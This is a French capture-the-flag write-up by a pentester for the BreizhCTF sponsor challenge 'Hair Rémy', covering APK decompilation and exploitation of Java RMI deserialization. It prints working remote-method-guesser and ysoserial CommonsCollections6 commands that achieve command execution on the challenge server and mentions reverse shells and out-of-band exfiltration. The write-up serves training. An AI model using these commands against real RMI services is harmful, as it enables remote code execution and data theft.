En cas d’incident de sécurité, notre Force d’intervention Rapide est disponible 24h/24 et 7j/7

BreizhCTF – Write-up du challenge sponsor « Hair Rémy »

Un grand merci aux organisateurs du BreizhCTF pour ce magnifique évènement, avec une organisation toujours huilée ! Comme depuis 2 ans, les sponsors ont possibilité de proposer des challenges hébergé sur leur propre infrastructure et qui comptent dans le scoreboard comme tout autre challenge.

En particulier, Formind a proposé le challenge « Hair Rémy » dont l’objectif était de faire découvrir le protocole RMI et les vulnérabilités par désérialisation associées.


< Retour

Thématique : CTF, Evènement

Type de contenu : Write-up

Énoncé

« Hair Rémy » est un agent IA capable de vous dire si votre coupe de cheveux vous va ou pas ! Pour cela, rien de plus simple : prenez-vous en photo et envoyez là à l’agent qui vous donnera la réponse.
Vous vous demandez comment cela fonctionne ?  Tout le secret réside dans les données d’apprentissage stockées sur le serveur.

Mais, le secret est bien gardé. Chez nous, la sécurité c’est pas MD’Hair 😉

https://hair-remy.formind.fr/

  • Catégorie : mobile, exploit, misc
  • Difficulté : moyen
  • Auteur : @darkpills

Récupération de l’APK

Pour les plus perspicaces, le titre du challenge donne le thème associé : Hair Rémy = « RMI ». En suivant le lien de l’énoncé du challenge, on arrive sur la page d’accueil du salon de coiffure :

En voulant télécharger l’APK, on se rend compte que le lien est brisé. L’inspection de la source HTML de la page révèle un lien vers l’APK en commentaire :

 

Analyse de l’APK

En analyse dynamique, on installe l’application sur Android studio ou Genymotion par exemple :

Le bouton « S’authentifier » fournit une information sur l’utilisation d’Apache Commons Collections côté backend. A garder pour plus tard :

Lorsqu’on upload une photo via « Envoyer ma photo », on reçoit bien un conseil coiffure :

On voit rapidement qu’il ne s’agit pas d’une vrai IA derrière et que les conseils ne sont toujours pertinent 😅.

En analyse statique, on décompile l’APK avec jadx :

jadx -d ./output/ hairremy.apk

Au sein du package fr.formind.hairremy , on remarque tout de suite la classe RMIServerCall qui contient l’implémentation d’un appel à un serveur RMI distant :

Le serveur hair-remy.formind.fr est appelé sur le port 1099 avec le registry HairRemy. Seule la méthode getUnauthenticatedAdvice() semble implémentée. Les autres renvoient des exceptions. Les méthodes disponibles sont décrites dans l’interface ServiceInterface :

On remarque tout de suite getFlag() ou executeCommand() qui semblent permettre d’arriver rapidement à nos fins.

Exploitation du serveur RMI

RMI est un protocole Java Client / Serveur permettant d’effectuer du RPC, des appels de méthodes distantes. Deux programmes Java peuvent communiquer à travers une interface. RMI est basé sur la désérialisation pour pouvoir envoyer et récupérer des objets distants. Qui dit désérialisation, dit toutes les vulnérabilités qui vont avec 😏

On peut déjà effectuer une 1ère énumération du serveur RMI pour tenter d’identifier des faiblesses via des outils dédiés à l’exploit RMI comme Remote Method Guesser, Beanshooter ou encore RMIScout (besoin de JRE/JDK 1.8):

git clone https://github.com/qtc-de/remote-method-guesser/
mvn package
java -jar target/rmg-5.1.0-jar-with-dependencies.jar enum hair-remy.formind.fr 1099

Aucune vulnérabilité facilement exploitable n’est remontée à priori par Remote Method Guesser en tous cas.

Pas besoin ici de bruteforcer les méthodes RMI disponibles car on possède le contrat d’interface via la décompilation de l’APK.

On peut tenter d’appeler les méthodes getFlag() ou executeCommand() soit en écrivant un simple program Java, soit en utilisant l’un des tool décrit plus haut :

java -jar rmg-5.1.0-jar-with-dependencies.jar call hair-remy.formind.fr 1099 '' --signature 'String getFlag()' --bound-name HairRemyServer --show-response
java -jar rmg-5.1.0-jar-with-dependencies.jar call hair-remy.formind.fr 1099 '"id"' --signature 'String executeCommand(String cmd)' --bound-name HairRemyServer --show-response

L’appel de la méthode getFlag() semble être un troll :

Et executeCommand() pareil :

L’appel à login() renvoie une exception de serialisation côté serveur.

En cherchant un peu les vulnérabilités liées à RMI comme sur le readme de RMIScout https://github.com/BishopFox/rmiscout?tab=readme-ov-file#exploit-mode, on apprend que toutes les méthodes qui contiennent des arguments qui ne sont pas des types primitifs (boolean, int, …) déclenchent une désérialisation de l’entrée utilisateur et peuvent être exploitées :

« On misconfigured servers, any known RMI signature using non-primitive types (e.g., java.util.List), can be exploited by replacing the object with a serialized payload. This is a fairly common misconfiguration (e.g., VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server and Gemfire, Apache Karaf + Cassandra) as highlighted in An Trinh’s 2019 Blackhat EU talk.
RMIScout integrates with ysoserial to perform deserialization attacks against services incorrectly configuring process-wide serialization filters (JEP 290) »

Des exemples de signatures de fonctions sont données :

void exampleMethod(java.util.Map a) // Any non-primitive types
void exampleMethod(float[] a) // Any type of array, even primitives
void exampleMethod(String a) // Works on older JDKs, see below...

En observant l’interface ServiceInterface, on voit qu’une méthode possède un argument avec un type non primitif avec Session en 1er argument :

String getAuthenticatedAdvice(Session session, String str) throws RemoteException;

Il ne nous manque plus que le gadget associé :

  • Soit avec l’indice dans l’APK qui mentionnait Apache Commons Collections
  • Soit en utilisant le probe mode de RMIScout avec GadgetProbe
  • Soit en brutforceant à la main

On télécharge la dépendance ysoserial et place le jar dans le répertoire courant : https://github.com/frohoff/ysoserial

java -jar rmg-5.1.0-jar-with-dependencies.jar serial hair-remy.formind.fr 1099 CommonsCollections6 'cat flag.txt' --bound-name HairRemyServer --signature 'String getAuthenticatedAdvice(fr.formind.hairremy.Session session,String fileBase64)' --yso ysoserial-all.jar

Comme on n’obtient par de retour, on lance un interactsh, collaborateur ou même carrément netcat pour un reverse shell pour obtenir le flag. Voici un exemple d’exploitation avec curl et un collaborator :

 java -jar rmg-5.1.0-jar-with-dependencies.jar serial hair-remy.formind.fr 1099 CommonsCollections6 'cat flag.txt' --bound-name HairRemyServer --signature 'String getAuthenticatedAdvice(fr.formind.hairremy.Session session,String fileBase64)' --yso ysoserial-all.jar

Epilogue

Initialement prévu pour être de niveau « facile », celui-ci s’est révélé être un peu plus difficile que prévu à la fin du développement.

Au début, à la place d’une application mobile, un client lourd Swing était prévu. Pour entre dans les « standards » des CTF et à la mode, une app mobile Android a été créée. Au milieu de son développement, je me suis rendu compte que le protocole RMI n’était pas supporté par la JVM Android… 😑 https://stackoverflow.com/questions/13788738/using-java-rmi-in-android-application

Il existe un autre protocol LipeRMI, qui adresse les mêmes objectifs, mais qui est totalement différent et non compatible avec RMI.

J’ai retroussé mes manches sans trop y croire et importé les classes liées à RMI via le code source d’OpenJDK17. J’ai du faire beaucoup de « simplifications » pour éviter les conflits de packages et imports de grappes dépendances en masse, notamment au détriment de la sécurité. Le résultat peut être obtenu ici et semble fonctionner au moins pour des appels simples : https://github.com/darkpills/android-rmi

 

Article rédigé par Vincent Michel – Pentester Senior